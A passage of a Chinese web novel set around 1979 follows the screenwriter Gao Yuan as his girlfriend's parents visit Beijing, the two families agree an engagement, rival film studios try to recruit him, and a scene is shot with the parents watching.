高远一笑,道:“走了也好,反正他在咱们班也不受待见了。” “军训那事儿发生后,他没站在同学们一方,大家就开始有意无意的疏离他,他自个儿也不是感觉不出来,或许也是因为这点吧,他才想换个环境。” 梁左通透,见高远点头,他又问道:“你去哪儿?” 高远看看天,快晌午了,回答道:“去火车站,对了,你要是没事儿的话跟我跑一趟呗,再喊上狗狗,帮我接几个人去。” 梁左也不问去接谁,爽快道:“没问题啊。” 两人找到苏牧,一说,苏牧也仗义,骑上自行车跟随两人直奔BJ南站。 半路上一聊,梁左和苏牧才知道,高远未来的老丈人和丈母娘今天抵京,调笑他这是傻女婿见丈母娘。 梁左还问他:“你紧张不?” 高远摸摸鼻子,道:“说不紧张是假的,毕竟是第一次见面嘛,得给二老留下个好印象,但这个好印象怎么留,我心里也没底啊。” 梁左和苏牧就哈哈大笑着说:“我们俩也没经验呐。” “俩活畜生!”高远笑骂道。 拉着铁哥们儿来给未来岳父母献殷勤的高远一进车站就发现自己做了无用功。 一向克己奉公、清正廉明的大伯这回破了例,从办公厅派出两辆红旗轿车来接未来的亲家。 老爸老妈齐出动,老爸正靠在车门上跟靳鹏飞还有俩司机抽烟聊天。 高远走过去,苦笑道:“这么隆重啊。” 梁左和苏牧二脸乖巧,道:“高叔叔好,张阿姨好。” 张雪梅满脸笑容,“好,好,你俩也好,高远把你俩拉过来的吧?你说你这孩子也是,怎么能给你同学添麻烦呢?” 梁左笑着说:“阿姨,我俩和远子是好哥们儿,帮点忙是应该的。” 苏牧推推眼镜,道:“平时在学校里,高老师帮我们的时候更多。” 张雪梅肉眼可见地更开心了,儿子人缘儿不错嘛。 高远把梁左拉过来,对老妈说:“这是您偶像,谌容老师的大儿子梁左同学。” 张雪梅拉着梁左的手,激动道:“哎呀,小梁是谌容老师的孩子呀,我可喜欢你母亲创作的作品了,《万年青》我翻来覆去读过十多遍,怎么也看不够。” 梁左羞涩了,嘿嘿笑道:“阿姨,说实话,我妈那本书现在阅读已经不合时宜了,我们在家时她都不允许我们提,按照她的说法,那是特定历史时期语境下的产物,跟当前的大形势背道而驰。 所以我建议您今后也不要再看了,不然极容易被定性为‘开历史的倒车’。” 张雪梅和高跃民听了他这番话都笑了起来。 高跃民递过来两根烟,问道:“你俩抽烟吗?” 梁左接过来,说道:“谢谢高叔。” 苏牧却摆着手说:“我不抽烟的叔叔。” 高远把另一根接过去,看了眼那谁,说道:“靳秘书也来了啊。” 当着未来二舅哥的面儿,靳鹏飞没敢呲牙。 一司机老哥笑着说道:“现在不是靳秘书了,是靳处长。” “哟,升官了啊。”高远好奇。 “也不是多大的官儿,隶属于部办公厅管辖,秘书一处处长,主要工作还是给首长服务的。”靳鹏飞谨小慎微,脸上却笑得春回大地。 高远撇撇嘴,道:“瞧你那一脸得意的样子,心里都乐开花了吧?” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!高跃民板着脸说:“高远,怎么跟你小姑父说话的?不许没礼貌。” 一听这话,靳鹏飞笑容更灿烂了。 高远哼了声,道:“这是得到官方认可了啊。” 靳鹏飞嘿嘿嘿。 高远又讽刺他道:“你笑起来真好看,像太君的手榴弹!” 哈哈哈哈…… 大家都放声大笑起来。 “从明珠开往京城的404号普通列车即将抵达,请接站的同志做好准备,前往站台有序等候。” 这时候,广播里传来小姐姐好听的提示音。 李老师和父母乘坐的就是这辆车。 高远说道:“走吧,咱一起去接人。” 一家人奔候车大厅,穿过候车大厅买了站台票,在站台边上等待着火车到达。 片刻后,绿皮火车拉着鼻儿停靠在站台前。 车门打开,李老师一家三口从11号车厢走了下来。 高老师一家三口外加一个不拿自个儿当外人的靳鹏飞忙迎上去。 这孙子端详着娇俏迷人的李老师,嘿嘿傻笑道:“一路上挺辛苦吧。” 典型的没话找话说。 李健群温柔一笑,轻声道:“还好呀,剧组有么斯事吗?” 怎么突然说起家乡话来了? 高远反应过来了,这是跟父母待久了,又被传染上了。 哎呀,你这么说话还挺可爱的。 武汉话自带Rab属性,很冲,不懂的会以为是在吵架。 但健群老师说起来却温温柔柔,有点可爱又性感的意思。 “剧组一切都好,拍摄进展得很顺利。”高远说着,从她手里把一个大包接了过来。 那边厢,两家父母也聊上了。 高跃民非常热情,脸上笑成了一朵花。 李爸爸也笑容满面,拉着高跃民的手道:“给你们添麻烦了。” 张雪梅和李妈妈也手牵手,寒暄了两句后扭头对高远说道:“你这孩子还不快过来跟叔叔阿姨问好。” 高远这才走上前,笑着说道:“李叔叔好,崔阿姨好,我是高远,欢迎叔叔阿姨来京城游玩。” 来之前他还挺紧张,见到李老师父母了,反倒平静下来。 虽说两世为人头一次有这种经历,但毕竟心理年龄摆在这儿呢,每临大事有静气还是能做到的。 李妈妈和李爸爸都是知识分子,李妈端庄大气,李爸儒雅随和。 见高远一表人才,便喜上心头,来前儿那点对他年龄的担忧也消失无踪。 况且,就是眼么前这个帅小伙儿,一手将自家闺女捧红,对二老来说,高远都算得上自己家的贵人了。 李妈妈拉着高远的手,端详着他,说道:“小伙子长得真帅,这个头儿,得有一米八几吧?” 高远回答道:“整一米八。” “啊,跟群群她爸一般高。” “是吗?我跟叔叔比比个儿。” 他说着,往李爸身前一凑,手往头顶上一搭,又道:“还真是一般高啊。” 李爸爸也乐了,“这就是缘分呐。” 高跃民说道:“孩子瞎胡闹,您二位可别介意啊。” 李爸爸说道:“挺好的,挺好的,我挺喜欢高远这爽朗的性格。” 张雪梅说道:“回家聊吧,这人来人往的,他叔和姨也坐了十几个小时的火车了,回家休息休息,喝茶聊。” 一行人呼呼啦啦往外走。 出了候车大厅,分别乘坐两辆车往花园村华侨公寓赶去。 高远把自行车丢给靳鹏飞,陪李爸爸和老爸坐在第一辆红旗车里。 可怜的老靳跟在后面,吭哧吭哧蹬着车子,腮帮子都气鼓鼓的。 空跑一趟的梁左和小苏跟李健群见了个面就回学校去了,临走前扔下一句话:“高老师,回头记得请客啊。” 两家人进了家门。 高跃华齐慧芝两口子,高跃林早已经在家里等候了。 一家人对未来亲家的到访非常重视。 见客人进了门,高跃华率先站起身迎上前,笑容满面道:“是健群的爸爸妈妈吧?欢迎欢迎,一路上舟车劳顿辛苦了,快坐下来歇歇脚。” 高跃民介绍道:“这是我大哥高跃华。” 来之前李健群已经向父母介绍过高远的家庭情况了。 李爸李妈还是略感惊讶,他们显然没想到身为文化部长的高跃华会亲自出面迎接自己。 “高部长您客气了,十几个小时的火车而已,还好,不怎么累。”李爸很快镇定下来,得体笑着跟高跃华握手。 两口子都是见多识广的知识分子,还不至于说见了高官慌张到无所适从。 “您这么称呼我,我可就不爱听了啊,早晚都是一家人,喊什么部长啊,我瞧着咱俩的年纪差不多大,兄弟相称更合适一些。”高跃华拉着李爸的手走到沙发前坐下。 李爸也放松下来,道:“我24年生人。” 高跃华笑道:“那我比您大一岁,我23年6月份出生。” “那您是老大哥。” 几位就这么聊了起来。 喜欢重返1977:从成为高考状元开始请大家收藏:()重返1977:从成为高考状元开始更新速度全网最快。 第194章 你们想造反吗?(票票啊同志们,急需支持) 张雪梅让齐慧芝陪李妈妈聊天,自己进了厨房准备晚餐。 下午四点半时,高雅也过来了,跟李爸李妈问好后拉着李健群叽叽喳喳。 李爸李妈更高兴了。 二老听闺女说,高远对自己极好,高叔叔和阿姨也对自己非常关心,尤其是张阿姨,每周都喊自己去家里吃饭,做点好吃的也会让高远给自己带到厂里去。 他们唯一担心的是自家闺女这个冷清的性子,跟未来大姑姐处不好关系。 今儿一看,彻底放下心来。 俩姑娘处得跟亲姐妹似的,高雅挽着群群的胳膊,俩人头碰头,也不知道蛐蛐了些啥,自家闺女笑得跟吃了蜜蜂屎一般。 喂,淑女一点啊健群。 齐慧芝拉着李妈妈的手,也瞧着俩孩子,笑道:“看,多好俩姑娘啊。” 李妈点着头,道:“是啊,我家群群一个人在京城上班,多亏了您一家人的照顾,我和她爸感激不已。” “您这话可见外了,是我家远子有福气,找到了群群这个么好姑娘,我们一家人应该感谢您,培养出这么一个优秀的孩子来,到最后全便宜我们家臭小子了。”齐慧芝笑着说道。 这话说的李妈也笑了起来,望着高远,有点儿丈母娘看女婿,越看越满意的样子。 高远被李妈妈打量得很不自在,起身道:“您几位长辈聊着啊,我去帮我妈做饭。” 齐慧芝揶揄他道:“臭小子还害羞上了。” 高远停住脚步,转身,眼神妩媚,翘起兰花指一点齐慧芝:“大妈,你坏死啦!” 哎呦,那个骚啊。 哈哈哈哈…… 长辈们哄堂大笑起来。 李妈妈乐不可支道:“这孩子平时就这么调皮吗?” 齐慧芝一捂脸,道:“性格开朗,性格开朗。” 气的李健群踹他一脚,道:“出什么洋相啊你,丢不丢人?” 高远嘿嘿一笑,奔厨房帮老妈做饭了。 李健群和高雅也跟了进来。 因为准备充分,晚饭很丰盛,十个菜一个汤,有鸡有鱼有肘有肉,酒是茅台,还有两瓶张裕干红。 没错儿,这年代已经有张裕干红了,百度上查到的。 席间谈到了李健群正在拍摄的电影,李妈妈问道:“小远,这故事到底是讲什么的呀?” 已经喊“小远”了。 高远一乐,把一块酱香排骨夹到李老师的味碟中,这才回答道:“讲一对留守青年男女将各自的伴侣送往大洋彼岸后,在寂寞中互生好感,又始终若即若离的故事。” 李爸端着酒杯,问道:“不犯忌讳么?” 高远明白他什么意思,在当下这个环境中,公然讲述“出轨”的故事肯定会引起极大的社会反响,批评的声音一浪高过一浪,到时会压得两个孩子喘不过气来的。 高远看看李老师,意思是你没跟叔叔阿姨介绍过这个故事的内核吗? 李老师抿嘴一笑,低声道:“我在家从不谈工作的。” 高远笑笑,给李爸答疑解惑,道:“叔叔、阿姨,我这样跟您二位说吧,中美建交后,领导们为了振兴国家经济建设,培养一批专业性人才,跟美帝达成协议,送一批硕士、博士生前往美帝进行深造学习。 旨在让他们学习欧美国家先进的科学技术,学成后回国为建设四个现代化服务。 但是有些人心怀不轨,目的不纯,打着出国学习的旗号干着拿美国绿卡滞留不回的恶劣事情。 我写的这个故事,聚焦的就是这一类人。 通过两名留守男女的视角,去批判当前的出国热潮。 这电影为什么起名叫《大撒把》呢? 各位长辈都知道,双手离开车把手,挺直了腰杆子一个劲儿猛蹬耍帅叫大撒把。 创作这个故事,我是希望把如大撒把一样的出国风中撒不开的国人感情拍摄出来。 顺便如电影台词中所说的,给那些个想要肉包子打洋狗,一去不复回的心怀不轨之人提个醒儿,国家花钱送你们出国深造,是为了让你们学成归来后建设祖国的。 别都一个个心里没数,享受着国家的补贴,干着不是人的勾当,甘当资本主义的走狗,愧对国家的培养。 这是我写这个故事的初衷。 至于说叔叔的担心,我也清楚,影片上映后一定会引发社会热议。 毕竟故事的内核是通过一对婚姻存续期的男女展现出来的。 这也是改开后各家电影制片厂拍摄制作的第一部以爱情为主题的影片。 爱情啊,在这个年代人们都羞于启齿的。” 长辈们都笑了起来。 李爸说道:“是啊,人民群众的思想观念还是太落后了,尤其是我和你大伯,你爸这辈子人,哪对夫妻不是经人介绍,见一面就结婚了? 不像你们这些小年轻的,还讲究个恋爱自由,爱情万岁。” 高远嘿嘿笑道:“我大伯还真不是。” 高跃华老脸一红,抄起一个烟盒拽这货脑袋上,吹胡子瞪眼地说道:“存心气我是吧?” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!齐慧芝也恨不得一把掐死他,这种事情怎么能当着未来亲家的面说出口啊。 高远赶紧找补,“我的意思是,您和我大妈是一见钟情。” 好吧,勉强算你过关了。 “你这个故事写得好,内容深刻,带着对人们一窝蜂往国外奔,只贪图个人享受,却忘记国家把他们送出国是什么目的的批判性,视角也独特。 看来你已经做好面对批评声音的思想准备了,叔叔想,你也一定做好了反击的准备。” 李爸笑呵呵说道。 自己这老丈人是个思想很开明的人啊。 高远一乐,道:“您看人可真准,您说的没错,我敢于创作这个故事并将它拍摄出来,就做好了面对批评的准备,至于说如何进行反击…… 我不瞒您,社会反响越大,对我们这部影片的宣传作用也越高。” 李爸冲高跃民一笑,说道:“这小子是个人精啊,他连这一点都算计到里面了。” 高跃民也挺乐呵,道:“您别见笑就成。” 李爸哈哈笑了两声,道:“我高兴还不来及,怎么会笑话他。孩子这不叫有心计,这叫运筹帷幄之中,决胜千里之外。 来,小远,叔叔跟你喝一杯,也感谢你在事业上对我们家群群的帮助。” 高远把酒盅子端起来,杯沿略低于李爸的杯口,一饮而尽后说道:“叔叔您别太见外了,我没帮李老师多大忙,都是李老师自己的努力,才能赢得导演和剧组工作人员的高度认可。” 啥米? 李老师? 夫妻二人对视一眼,然后都乐了起来。 “你俩平时互称老师啊?”李妈妈好奇地问道。 高远也一乐,憨厚得跟蜡笔小新似的,挠头道:“有时候我也叫她姐姐,是吧群群。” 李健群脸都红透了,气得打这孙子一下,这会儿却也放开了,说道:“都是昵称,昵称。” 一帮长辈们看着这对璧人当众秀恩爱,一点避讳的意思都没有,就知道两个人的感情好极了。 有些话作为母亲的张雪梅是不方便主动说的,她看了眼齐慧芝。 妯娌之间的默契这会儿显现出来。 齐慧芝微微点头,笑着对李妈妈说道:“婉宁大姐,您看俩孩子情投意合的,感情这么好,是不是把他俩的事情给定下来啊。” 高远这才知道,李健群的母亲叫崔婉宁。 李妈妈笑呵呵说道:“我和她爸都是很开明的人,只要孩子愿意,我们绝不会反对。” 齐慧芝趁热打铁,问李健群道:“群群,你愿意吗?” 李老师娇羞起来,俏脸通红,看身边的高远一眼,然后迅速低下头,轻声道:“我愿意的,但是他还没毕业呢……” 高远抓住李老师的手,笑得跟地主家的傻小子一般。 高跃华哈哈一笑,道:“你大妈也没说立刻让你们俩结婚,只是先把婚事定下来。” 李健群脸更红了。 高雅瞧着她,啧了一声,挑起她的下巴颏,调戏道:“这小美人儿,你今后就是我们家的了。” 欢笑声再次回荡在房间里,久久不散。 当晚,李爸李妈留宿华侨公寓。 高远和李健群临走前邀请二老明天去片场瞧瞧。 李爸李妈也对拍戏很感兴趣,爽快答应下来。 夜色阑珊。 高远和李老师漫步在宽阔的马路上。 他问李老师道:“你父母对我印象怎么样啊你觉得?” 李健群剜他一眼,道:“肯定特别差劲啊,你今晚表现得怎么样自己心里没数么,贫嘴呱啦舌的,我爸妈能对你有好印象才怪了。” 高远委屈巴巴道:“好姐姐,你就会吓唬我。我觉得叔叔阿姨对我印象特别好,要不然也不会答应先给咱俩订婚。” “嘁,被你猜中了,你很得意是吧?” “嗯嗯,我特得意,因为娶你过门儿是我的终极梦想。” 李健群四下里看看,见大马路上没几个人,她第一次主动挽着高远的胳膊,轻声说道:“你可不许辜负我。” 高远点头如捣蒜,道:“你若不离,我必不弃!” 李健群凝视着他,秋水剪瞳中汪着一潭水,道:“这句话我记住了,我也相信你是能够做到的。” 呀! 姐姐变聪明了,学会给我打预防针了。 ……………… 日次一早,高远和李健群在北影厂食堂吃过早饭,刚走出门打算去接李爸李妈去片场,就被几个陌生面孔拦住了去路。 一秃头顶的中年男子特别热情,握住高远的手就摇晃起来,面带激动道:“您就是高编剧吧?自我介绍一下,我是峨影厂文学部的副主任蔡景山,特意来拜会,能不能跟您聊一聊?” 又一男子握住高远的左手说道:“高编剧,我是珠江厂的沈创,我特别喜欢您那部《瞧这一家子》,过来跟您交个朋友。” “我是西影厂的刘海军……” “我叫庞彬,是长影厂文学部的……” 高远在风中凌乱。 大家热情太高涨了,他有点心慌。 李健群后退一步,紧紧抓住高远的衬衣下摆,也是一脸惊慌。 这时候,汪阳溜达过来,板着脸说道:“干什么干什么?光天化日的,来我北影厂抢人,你们想造反吗?” 喜欢重返1977:从成为高考状元开始请大家收藏:()重返1977:从成为高考状元开始更新速度全网最快。 第195章 炙手可热高老师 老厂长这一嗓子,有喝退百万雄兵的雄浑气势。 几位一瞧,来了个惹不起的老革命,脸色一囧,呵呵呵尴尬地笑了。 蔡景山连忙说道:“老厂长,好久不见啊,您老身体还矍铄?” 汪阳哼了一声,没好气儿道:“劳您惦记,还能苟活几年。小蔡,你们这是在干嘛呢?” 蔡景山继续尴尬,道:“这不是来拜访高编剧么,来跟高编剧交个朋友。” “交朋友还有一窝蜂来的?你们商量好了一起过来的吧?” 汪阳可不给这些人留面子,刺儿了一句后目光如电在几位脸上扫视一圈,又道:“我看你们就是图谋不轨,组团到我北影厂挖墙脚来了!” 几个人摆着手,忙说道:“不是不是。” “绝对没这个意思。” “我们就是来跟高编剧交朋友的。” “您老误会了,给我们三个胆子我们也不敢挖您的墙角啊。” 汪阳早就看透了他们的心思。 自打电影改革方案出台,并决定下个季度正式实施后,各家电影制片厂的负责人们心思就活络起来。 大家都缺好剧本啊,你拍不出好作品来,得不到省级放映公司老总们的认可,电影拷贝就卖不上价去。 这是直接关系到制片厂能否挣到钱的关键因素,尽可能多地拉拢能创作出好作品来的编剧就成为各家制片厂负责人们的头等大事。 于是就打上了高远的主意,把这帮家伙们派出来跟高远套近乎、拉关系,目的是啥不言自明。 别看高远这小子截止到当前只有一部电影上映过,但成绩在这儿摆着呢。 《瞧这一家子》35mm的拷贝卖了96个,16mm的拷贝卖了164个,8.75mm的拷贝跟开了挂一般卖了211个。 在电影事业不景气的现如今,这部片子创造了471个拷贝的销售记录,夸一句他是电影界的王者都毫不为过。 后世里配享太庙那种。 这几个家伙说的话,汪阳一个标点符号都不带信的。 “不敢来挖墙脚,你们拦着小高和健群不让走是怎么个意思?” 汪阳火力全开,讽刺拉满,继续道:“哦,我明白了,你们几个也听说小高和健群快要订婚了,私下里一商量,就一起来随份子了是吧?” 高远扭过脸去,攥着好姐姐的手,肩膀一抽一抽的。 李健群也忍俊不禁,紧紧抿着嘴,好看的卡姿兰大眼睛都眯成了两条线。 老厂长太坏了,您这不是公然替我们俩要喜钱嘛。 蔡景山几人对视一眼,如恍然大悟一般说道:“哟,高编剧和小李同志是一对儿啊,可真般配。老厂长要不说,我们还真不知道。” “您二位快订婚了呀,可喜可贺,可喜可贺啊。” “到时候我可得讨杯喜酒喝。” “份子肯定是不会少的,就怕高编剧和小李同志看不上我们这些地方上来的人啊。” 高远又把头扭了过来,冲大家一抱拳,说道:“感谢各位的赏识,也谢谢各位领导对我和健群的祝福。其实您几位所为何来,我心里是清楚的。 当着明人不说暗话,我虽然不是北影厂的正式职工,但跟老厂长有过口头协定,我创作的故事首先提供给北影厂来拍。 所以说,各位,我只能说声抱歉了。 日后吧,日后有机会再合作。” 这会儿正处在就餐的高峰期,他在门口闹这么一出儿,已经有不少干部职工前来围观。 同志们像瓜地里的猹,这个大瓜吃得不亦乐乎。 所以,高远干脆把事儿挑明了。 几位制片厂的中层领导听他说完,心思各异,有感到遗憾的,比如蔡景山。 有脑筋活跃的,比如沈创和刘海军。 他俩听出了这孙子的潜台词,首先,新作品提供给北影厂拍,并不是说所有作品都会卖给北影厂。 换句话说,再写了新作品,北影厂没有指标了,就可以卖个我们厂了。 大家来之前都打听过了,小高编剧是个快枪手,写故事不费劲儿。 据说今年就写了六个剧本,北影厂拍了三个,香港左派拍了一个,上影厂徐桑楚买了一个,还有一个很神秘。 江湖传言,被香港一家电影公司买过去了,真假不知。 沈创给刘海军递了个眼神儿,然后笑着说道:“既然如此,我们就不打扰高编剧的工作了,先撤,期待与您今后的合作。” 说着,他跟高远握握手,干脆利索地转身走人。 刘海军也握握手,走了。 庞彬也是个精明人,一瞧就琢磨过味儿来,挥手说再见。 蔡景山叹声气,还想跟高远再说两句…… 汪阳一瞪眼,这家伙也告辞离开。 “老厂长,感谢您帮我解围啊。”高远嬉皮笑脸道。 汪阳又不满的哼了声,道:“你小子别以为我不知道,你把《木棉袈裟》的本子卖给徐桑楚那老东西了。 年纪轻轻的不学好,你学着当叛徒,你摸着良心说说,你对得起我这二年对你的培养吗?” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!咋还上纲上线了? 李健群终于没憋住,捂着嘴发出了类似于拖拉机发动的声音。 老厂长一瞪眼,道:“健群你别笑,这还没嫁过去呢,你就胳膊肘子往外拐,你对得起我这一年来对你的培养吗?” 李老师忙说道:“老厂长,我对不起您的培养,我错了,今后一定改正。” 汪阳傲娇的哼了声。 此时,高远特诚恳地致歉道:“您批评得对,我对不起人民对不起党,对不起您这二年的精心培养,我钻钱眼儿里去了,就算明知道咱厂里没拍摄指标了,把剧本撕了也不该卖给徐厂长。 千错万错都是我的错,您老别生气,气坏了身子我罪过就大了,简直百死难赎其罪,大家伙儿掐死我,我也是活该。” 这他妈是道歉么? 这摆明了是暗指老厂长拦着他挣钱了。 吃瓜群众们都乐疯了。 四大帅里也不是所有导演都看不上高远。 第三创作集体的老导演凌子风阔步走到高远身边,一拍他的肩膀笑着说道:“猴崽子,你这张嘴太讨厌了,北大中文系的老师教授们都教了你些啥? 你小子平日里上课,学的都是指桑骂槐、含沙射影、冷嘲热讽和沐猴衣冠吧? 知识学杂了呀我的孩儿!” 说凌子风这个名字大家可能不熟悉,提起电视剧《回村的诱惑》里洪世贤的扮演者凌潇肃,也就是姚大嘴的前夫,你们就知道了。 凌子风是凌潇肃的亲爹,是姚大嘴的前公公。 老厂长冷着脸说道:“老凌,沐猴衣冠这个成语用得好,用得妙,用得呱呱叫!” 一阵哄堂大笑声回荡在食堂门口。 高远苦笑着说:“凌大爷,您老就别跟着起哄架秧子了,您还嫌不够乱呐。 今儿这出儿您也看到了,各家制片厂的领导们可不是我请来的,人家主动找上门来,我总不能把人给赶走吧? 真那么干了,我今后还怎么在这个圈子里混啊。” “你的意思是说,老厂长替你把人都给赶走了,你小子还有意见了?” “大爷,您别给我下套,我可没那个意思,我只是在表达我对北影厂的忠诚,仅此而已。” 老厂长旧事重提,道:“对北影厂忠诚,你还把剧本卖给徐桑楚那个老东西呢,你说这话谁信啊?” 高远挽着老厂长的胳膊,用一种撒娇的语气说道:“您别那么小心眼儿嘛,我那本子您也看过了,都是套路创作法。 咱们厂有一部《太极》就是开天辟地头一遭了,卖徐厂长一部《木棉袈裟》,我只是为了搞创收,为我和群群将来的生活做些保障。 您老放心,我保证《木棉》就算制作出来也比不上《太极》的票房还不成?” 老厂长忽地笑了,“你这个臭小子啊,拿健群说事儿我就没办法了,算你过关。 不过你还得向我保证,挣钱可以,今后你得把最好的作品留给厂里进行制作。” 高远伸出三根手指头冲天,正色说道:“向教员同志保证,我高远所创作的最好的剧本,只会留给北影厂进行拍摄制作。” 汪阳这才满意地点点头,说道:“该干啥干啥去吧。” 高远答应一声,拉着李老师走人了。 汪阳看看凌子风,感慨道:“政策变了,各家制片厂为了争抢人才,什么招数都使出来了。” 凌子风微微摇头,道:“我反倒认为,电影事业的发展,就应该百花齐放。像小远子这么有才华的年轻人,咱们更应该给他提供一个施展才华的舞台。” “你是说,我把他圈养在北影厂是错误的?” “不不不,大家都知道老厂长是爱才之人,我的意思是说,小远子想要的,北影厂估计给不了,这孩子心大呀。” “老凌,说实话我没想到你也看出来了。 没错儿,我跟老孙也深聊过这事儿,这小子跟孙悟空一样,雄心万丈又受不了管束,我也不是如来佛祖,五指山下压不住这孩子,所以很愁啊。” 凌子风笑笑,说:“老厂长,不是我说,为什么非要压住他呢? 他过完年才上大三,现如今却已经是咱们北影厂最炙手可热的编剧了,您现在就着手培养着,等他一毕业,给个合适的职位,您还担心小高拒绝来厂工作吗? 就算您给不出他合适的岗位,小高还有他大伯在背后力挺呢,利用这层关系,您单独设置一个部门,比如说影视发展部之类的,让他当家做主去。 只要小高能创作出几部好电影来,你还怕别人说三道四? 说到底啊老厂长,好作品,争荣誉,获奖项才是硬道理! 小高有这个给北影厂争得荣誉的能力!” 汪阳闻言点点头,第一次认真考虑高远的工作安排事宜,思考片刻后说道:“老凌,你说得有道理,你让我好好想想,我会就高远这件事情向有关部门专程进行汇报的。” …………………… 身处在漩涡里的高远已经把李爸李妈接到片场了。 本小章还未完,请点击下一页继续阅读后面精彩内容!今天这场戏拍得是顾颜跟林周云离开医院后的第一次交集。 林周云在家杀鸡,鸡飞人跳,遂想起顾颜,请来帮忙。 顾颜到了后竖起耳朵一听,屋里传来林周云惊恐的声音,快吓死了,问道:“怎么了怎么了?” 门一开,他发现林周云一点生活能力都没有,帮着杀鸡烹饪的片段。 健群的父母看傻了。 未来老岳父李杰揪住高远问道:“这是活鸡啊?” 高远笑道:“必须得是活鸡,得追求真实效果嘛。” 李妈妈忧心忡忡道:“那群群会不会被溅一身鸡血啊?这可不吉利。” 葛大爷走过来,笑着说道:“叔叔阿姨放心,就算溅一身鸡血,也是溅我身上,我保证不让李老师沾染一点血迹。” 李杰不好意思一笑,道:“我们不是这个意思,为艺术献身也是应该的。 我家群群全靠你们支持了,当父母的爱女之心,也希望你们能够理解,我和她妈感谢大家对群群的关心和厚爱,也感谢各位对小远的理解与支持。” 王好为走过来笑着说:“您二位客气了,健群和小远子珠联璧合,且健群对电影艺术有独特的见解,全组人员都很喜欢她。 是我们应该感谢您二位培养出这么优秀的姑娘来,为国家电影事业的发展增光添彩了。 话不多说,我们马上就要开始正式拍摄了,大哥大姐瞧好吧,健群一定不会让您二位失望的…… 各部门注意,正式开拍!” 喜欢重返1977:从成为高考状元开始请大家收藏:()重返1977:从成为高考状元开始更新速度全网最快。 第196章 扒戏 李爸李妈第一次近距离接触现场拍摄,看啥都新鲜。 “小远,这就是你家啊?”李妈问道。 高远点点头,笑着回答:“是,里面朝南的房间是我父母的卧室,对面的次卧我姐在住,客厅旁边那间是我的闺房。” 李妈乐了,“你这孩子,满嘴俏皮话,男孩子的房间,哪有叫闺房的?” “那叫……儿童房?”高远故意逗丈母娘。 崔婉宁笑着打他一下。 听说生活区十号楼来了个剧组拍戏,楼下顿时热闹起来。 学院教师的家属们都过来瞧乐子。 高远家对门刘婶不见外,登门来看拍戏,还抓把瓜子咔咔嗑着。 王好为皱着眉头提醒了一句:“嗑瓜子的出去嗑,别影响剧组工作。” 刘婶撇撇嘴,没怎么当回事儿,嘟囔道:“小远都不敢跟我这么说话,你在这儿耍什么威风?” 王好为不耐烦了,扭头看她一眼,刚想发火…… 高远快步走到刘婶身边,说道:“婶儿,你确实打扰到剧组工作了,我们是要现场收音的,你这咔咔咔一嗑瓜子,被收录进去,几千块钱的胶片就全废了。 你说,咱门对门住着,两家关系这么好,我是让你赔还是不让你赔?” 刘婶一听,惊讶得张大了嘴巴,嗫嚅道:“你这胶片这么贵啊?那我可赔不起。婶子错了,婶子不嗑瓜子了,你们拍,继续拍,我这就回家。” 她人不坏,就是有点矫情,不拿自个儿当外人。 高远一笑,道:“安安静静的看就行,权当看个热闹了,渴了我给您沏茶喝,站累了我给您搬把椅子您坐着看。” 刘婶尴尬笑道:“诶,好,好!小远你别麻烦了,我看会儿就得回家做饭了。” 李爸和李妈对视一眼,李爸点点头,低声道:“小远这孩子解决问题的方式很得当啊,不急不躁地讲道理,还不得罪人,是个思想成熟的好孩子。” 李妈笑道:“就是嘴有点儿碎。” 李爸也乐了,“我倒觉得挺好的,咱家群群那性子你还不清楚么,认死理儿,一根筋,小远性格开朗,两人刚好互补。” “这倒也是。”李妈瞧着高远,露出慈母般的笑容。 “好了,演员就位,我们先走一遍!” 见问题被高远解决了,王好为立刻把精力投入到拍摄中。 只见李老师握着把菜刀,脸上是被造型师画上去的点点血迹,双手上也沾满了血。 她穿一件蓝色牛仔衬衣,里面套着白T恤,头发凌乱,发出惊天地泣鬼神的一声尖叫:“啊……” 接近着又:“啊……” 表情分外狰狞,还带点儿惊恐状。 “好!过了!健群状态不错,继续保持下去。我们进行实拍!” 头一次见闺女拍戏,李爸李妈震惊了,闺女演技这么好的吗? 啊了两声就被导演称赞了? 李妈扯扯高远的袖子,轻声道:“我怎么感觉群群演得有点浮夸呢?” 高远笑笑,说:“阿姨,这就叫戏剧效果,也不能说是浮夸,李老师的表情拿捏得还是非常到位的。 您认为浮夸,是因为观赏角度产生的问题,您跟我来。” 李妈点点头,放轻脚步,跟随高远来到导演身后。 王好为一扭头儿,冲李妈笑了笑。 高远说道:“您通过监视器再看看李老师的表演,就会发现她跟之前的表现完全不同。” 李妈对高远称呼健群为“李老师”,始终觉得有点怪异。 唉…… 老了,跟不上年轻人的思想节奏了。 她暗自叹气,又觉得好笑,现在的小年轻,谈个恋爱花样可真多。 正式开拍,还是那一出儿,李老师一遍过。 崔婉宁通过监视器看着自家闺女浑然天成的表演,惊为天人! 张新民扛着摄像机招呼葛优道:“优子,到你了,把你那件儿屎黄色的破大衣穿上,跟我去门外开拍。” 葛优呲着大板牙一笑,把大衣穿上,帽子扣头上,出了门。 高远也跟了出去。 这年头儿拍摄条件有限,全组就一台摄像机,拍两人对话的镜头,都得分开进行拍摄。 当然,除非拉远景,才能将两人全部纳入到镜头中。 中近景就无法实现了。 葛优上楼,走到门口,听到从屋里传来惨绝人寰的尖叫声,瞪眼、张嘴、紧张兮兮。 “停!”高远喊道。 葛优彷徨,“怎么了?” “还怎么了?表情不对!”高远说道。 “哦哦,我再来一遍。”葛优特谦卑。 于是又来了一遍,这次不瞪眼了,改为慌乱且紧张兮兮。 “优子,你不对劲儿啊,怎么突然没状态了呢?你那是什么表情?听到屋里传来尖叫,你慌张什么?”高远毫不留情地噼里啪啦。 “我,我……我不是想着要营造出一种紧张感来吗?” “大错特错!” “您指教。” 李爸李妈也在外头瞧着,一看高远拉着葛优讲戏,都来了兴趣,乐呵呵凑过来,这可得好好看看,自家未来这女婿到底有何高招能调教出一名演员的表演功力来。 这章没有结束,请点击下一页继续阅读!平时光听群群夸他讲戏如何如何棒,演员们都怎么佩服他了。 耳听为虚眼见为实啊。 高远想了想,说道:“你不用搞那么复杂,其实很简单,你听到尖叫声,以为屋里有危险,进坏人了,煤气泄漏了,李老师被挟持了,总之就是有变故发生了,你就知道该怎么表现了。” 旁边的王好为点头道:“高老师说得对,这叫产生想法,从而转化为行动。” 葛优想了想,道:“我明白该怎么演了,剧务同志,帮我拿把拖把来。” 剧务奔卫生间,拿了把拖把出来递给他。 